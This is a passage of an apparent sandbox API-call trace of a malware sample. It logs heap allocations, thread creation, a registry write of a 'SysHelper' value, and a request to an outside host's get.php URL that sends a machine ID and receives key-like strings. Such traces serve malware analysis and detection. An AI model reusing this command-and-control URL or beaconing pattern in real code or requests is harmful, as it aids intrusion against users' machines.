(HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30dbe88 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30dc6f0 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d2e48 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d36d0 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d3f58 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30dcf58 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30d47e0 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d5068 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d58f0 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d6178 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d6a00 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d7288 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30d7b10 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d8398 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30d8c20 [0122.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30dd7b8 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30ed7a0 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30ee008 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30de040 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30de8c8 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30df150 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30df9d8 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e0260 [0122.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e0ae8 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e1370 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e1bf8 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e2480 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x30209a8 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e2d08 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30ee870 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e3590 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e3e18 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e46a0 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e4f28 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e57b0 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e6038 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ed58 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e68c0 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e7148 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e79d0 [0122.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8258 [0122.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x300d4b0, dwCreationFlags=0x0, lpThreadId=0x305d0e8 | out: lpThreadId=0x305d0e8*=0x618) returned 0x3a0 [0122.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x56c) returned 0x398 [0122.969] GetMessageW (lpMsg=0x18c8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0128.067] NtdllDefWindowProc_W () returned 0x0 [0135.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f7098 [0135.988] GetComputerNameW (in: lpBuffer=0x30f7098, nSize=0x18c448 | out: lpBuffer="XDUWTFONO", nSize=0x18c448) returned 1 [0135.988] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d50 [0135.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f7098 | out: hHeap=0x5c0000) returned 1 [0135.988] IsWindow (hWnd=0x10156) returned 1 [0135.988] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d50 | out: hHeap=0x5c0000) returned 1 [0220.677] NtdllDefWindowProc_W () returned 0x1 [0238.831] NtdllDefWindowProc_W () returned 0x1 Thread: id = 163 os_tid = 0x6e4 Thread: id = 164 os_tid = 0x6e8 Thread: id = 165 os_tid = 0x6ec Thread: id = 166 os_tid = 0x6f0 Thread: id = 167 os_tid = 0x6f4 Thread: id = 168 os_tid = 0x6f8 Thread: id = 242 os_tid = 0x348 Thread: id = 243 os_tid = 0x594 Thread: id = 295 os_tid = 0x60c [0121.986] timeGetTime () returned 0x9798 [0121.986] GetLastError () returned 0x54f [0121.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3bc) returned 0x3090f70 [0121.986] GetCurrentThreadId () returned 0x60c [0121.986] SetLastError (dwErrCode=0x54f) [0121.986] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x989a6e4 | out: phkResult=0x989a6e4*=0x5a4) returned 0x0 [0121.986] RegQueryValueExW (in: hKey=0x5a4, lpValueName="SysHelper", lpReserved=0x0, lpType=0x989a6d8, lpData=0x989a6e0, lpcbData=0x989a6dc*=0x4 | out: lpType=0x989a6d8*=0x0, lpData=0x989a6e0*=0x0, lpcbData=0x989a6dc*=0x4) returned 0x2 [0121.986] RegSetValueExW (in: hKey=0x5a4, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0x989a6e0*=0x1, cbData=0x4 | out: lpData=0x989a6e0*=0x1) returned 0x0 [0121.986] RegCloseKey (hKey=0x5a4) returned 0x0 [0121.987] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0121.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x69fe38 [0121.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020750 [0121.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x69fe38 | out: hHeap=0x5c0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x6b6418 [0121.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x3091338 [0121.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b6418, cbMultiByte=-1, lpWideCharStr=0x3091338, cchWideChar=1056 | out: lpWideCharStr="8B157CC8DF5AC1E8931FA0BF05996F06") returned 33 [0121.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x850) returned 0x3091b80 [0121.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3091338 | out: hHeap=0x5c0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b6418 | out: hHeap=0x5c0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8d0) returned 0x3054f00 [0121.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020750 | out: hHeap=0x5c0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3091b80 | out: hHeap=0x5c0000) returned 1 [0121.987] lstrcpyW (in: lpString1=0x989af78, lpString2="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php?pid=8B157CC8DF5AC1E8931FA0BF05996F06" | out: lpString1="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php?pid=8B157CC8DF5AC1E8931FA0BF05996F06") returned="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php?pid=8B157CC8DF5AC1E8931FA0BF05996F06" [0121.987] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://texet1.ug/AJshdd74568oHIUHSusf6441/Asjdioaiuf738/get.php?pid=8B157CC8DF5AC1E8931FA0BF05996F06", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0122.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x989a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x989a774 | out: lpBuffer=0x989a778*, lpdwNumberOfBytesRead=0x989a774*=0x67) returned 1 [0122.594] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0122.596] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0122.596] lstrlenA (lpString="{\"line1\":\"") returned 10 [0122.596] lstrcpyA (in: lpString1=0x989ab78, lpString2="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.596] lstrcpyA (in: lpString1=0x989a778, lpString2="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.596] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ec88 [0122.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8ba) returned 0x3091338 [0122.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f8ec88, cbMultiByte=-1, lpWideCharStr=0x3091338, cchWideChar=1117 | out: lpWideCharStr="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 94 [0122.597] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x3091c00 [0122.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3091338 | out: hHeap=0x5c0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ec88 | out: hHeap=0x5c0000) returned 1 [0122.598] lstrcpyW (in: lpString1=0x464f20, lpString2="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.598] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3091c00 | out: hHeap=0x5c0000) returned 1 [0122.598] lstrlenA (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 93 [0122.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbc) returned 0x30208e0 [0122.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x989a778, cbMultiByte=-1, lpWideCharStr=0x30208e0, cchWideChar=94 | out: lpWideCharStr="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 94 [0122.598] lstrcpyW (in: lpString1=0x464f20, lpString2="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX\",\"line2\":\"u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.598] lstrlenW (lpString="Ts2016CZBPPxdx2xoZQDOICSnc0Pxt5nLOcLZxBX") returned 40 [0122.598] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0122.598] lstrcpyA (in: lpString1=0x989ab78, lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.598] lstrcpyA (in: lpString1=0x989a778, lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" | out: lpString1="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}" [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.598] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA (lpString="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf\"}") returned 42 [0122.599] lstrlenA 